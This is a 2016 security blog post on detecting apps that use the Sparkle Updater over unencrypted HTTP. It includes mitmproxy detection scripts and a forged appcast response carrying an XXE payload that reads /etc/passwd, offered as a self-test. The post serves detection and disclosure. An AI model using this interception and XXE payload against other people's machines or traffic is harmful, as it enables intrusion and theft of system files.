How to detect the Sparkle Updater vulnerability
January 29, 2016
In the previous article, I described how to hack OS X by abusing vulnerable application. The method was based on the MITM attack to elevate your privileges to that of the currently logged in user on the remote machine.
The attack works well, but you must be aware of all requirements:
- Target is an OS X machine
- There is a vulnerable application installed on a target host
- You have LAN traffic in your control (ARP/DNS spoofing)
This step is rather straightforward, and you can verify it on your local OS X machine or just inspect the network traffic. You need to look for an indicator of the Sparkle Updater activity. It is possible to detect the request or the response while those two share similar static content.
Sparkle Updater requests looks like this:
GET /vlc/sparkle/vlc-intel64.xml HTTP/1.1 Host: update.videolan.org Accept: */* Accept-Language: en-us Connection: keep-alive Accept-Encoding: gzip, deflate User-Agent: VLC/2.2.1 Sparkle/a425c42
And here is the response:
<?xml version="1.0" encoding="utf-8"?> <rss version="2.0" xmlns:sparkle="http://www.andymatuschak.org/xml-namespaces/sparkle" xmlns:dc="http://purl.org/dc/elements/1.1/"> <channel> <title>VLC Changelog</title> <link>http://update.videolan.org/vlc/sparkle/vlc.xml</link> <description>Most recent changes with links to updates.</description> <language>en</language> [...]
For the request, there is a generic
User-Agent header with a value of
You can extract software name as well as its current version.
It is enough to determine that:
- Application is using the Sparkle Updater
- Traffic is not encrypted (http instead of https) since you can sniff this transmission
- It is vulnerable to our attack
You can also validate that by extracting static string from the response that is
As far as those two factors are not going to change then it is possible to detect vulnerable applications on your computer.
There is an easier method than using Wireshark for checking if your application is vulnerable. Furthermore, it can be detected automatically with a simple Python script and mitmdump tool.
System Web Proxy
Now we know that we need to inspect the network traffic to detect vulnerable applications.
We need to set up a proxy that is going to intercept the traffic from our machine.
It is relatively easy on Mac OS X by setting it inside
System Preferences -> Network -> [Your Active Network Adapter] -> Advanced:
Your active network adapter is a green one, red means it is disabled.
Web Proxy (HTTP) and then fill up configuration fields with
localhost value for host and
7070 for port number. Now go back to your terminal and install mitmproxy tool.
$ brew install mitmproxy [...] $ mitmproxy --version mitmproxy 0.14.0 $ mitmdump --version mitmdump 0.14.0
It seems that everything is working fine, and we are ready to write an automation script.
Mitmdump installs in one package together with mitmproxy. It is a useful tool that allows you to intercept, modify, inspect and replay the network traffic. For more information you should read the mitmproxy documentation.
The most convenient way to automate our detection method is to write a script for mitmdump.
It uses Python as a scripting language and works by exposing a set of event methods like
The source code for detection scripts (detect.py) looks as follows:
def request(context, flow): uagent = flow.request.headers["User-Agent"] if "Sparkle/" in uagent: print "Vulnerable app: " + uagent.split(" Sparkle/")
It extracts 'User-Agent' header from headers array and then tests if it contains "Sparkle/" string. If true, then we have a vulnerable application.
Run this simple script, open vulnerable applications, and look for the name and version as it popups on your console.
$ mitmdump -s detect.py -p 7070 -q Vulnerable app: Sequel Pro/1.1 Vulnerable app: Adium/1.5.10 Vulnerable app: Mou/0.8.7
Use the script posted below, run
mitmdump with inline script parameter and check for update from vulnerable application.
If affected then you should see the content of
/etc/passwd file from your computer like below:
from libmproxy.models import decoded forge_request = False xml_response = """<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sparkle="http://www.andymatuschak.org/xml-namespaces/sparkle" version="2.0"> <channel> <title>Example App</title> <link>http://www.example.com/</link> <description>Appcast</description> <language>en</language> <item> <title>App version 1</title> <description>&xxe;</description> <pubDate>Thu, 01 Jan 1970 00:00:01 GMT</pubDate> <enclosure url="http://example.com/dmg" length="1024" type="application/octet-stream" sparkle:dsaSignature="" sparkle:version="9999" sparkle:shortVersionString="9.99" /> </item> </channel> </rss>""" def request(context, flow): global forge_request forge_request = False uagent = flow.request.headers["User-Agent"] if "Sparkle/" in uagent: print "Potentially vulnerable app: " + uagent.split(" Sparkle/") forge_request = True def response(context, flow): global forge_request, xml_response if forge_request: with decoded(flow.response): flow.response.content = xml_response
If you find a vulnerable application remember to report it to the person responsible for applying patches or the author of this application.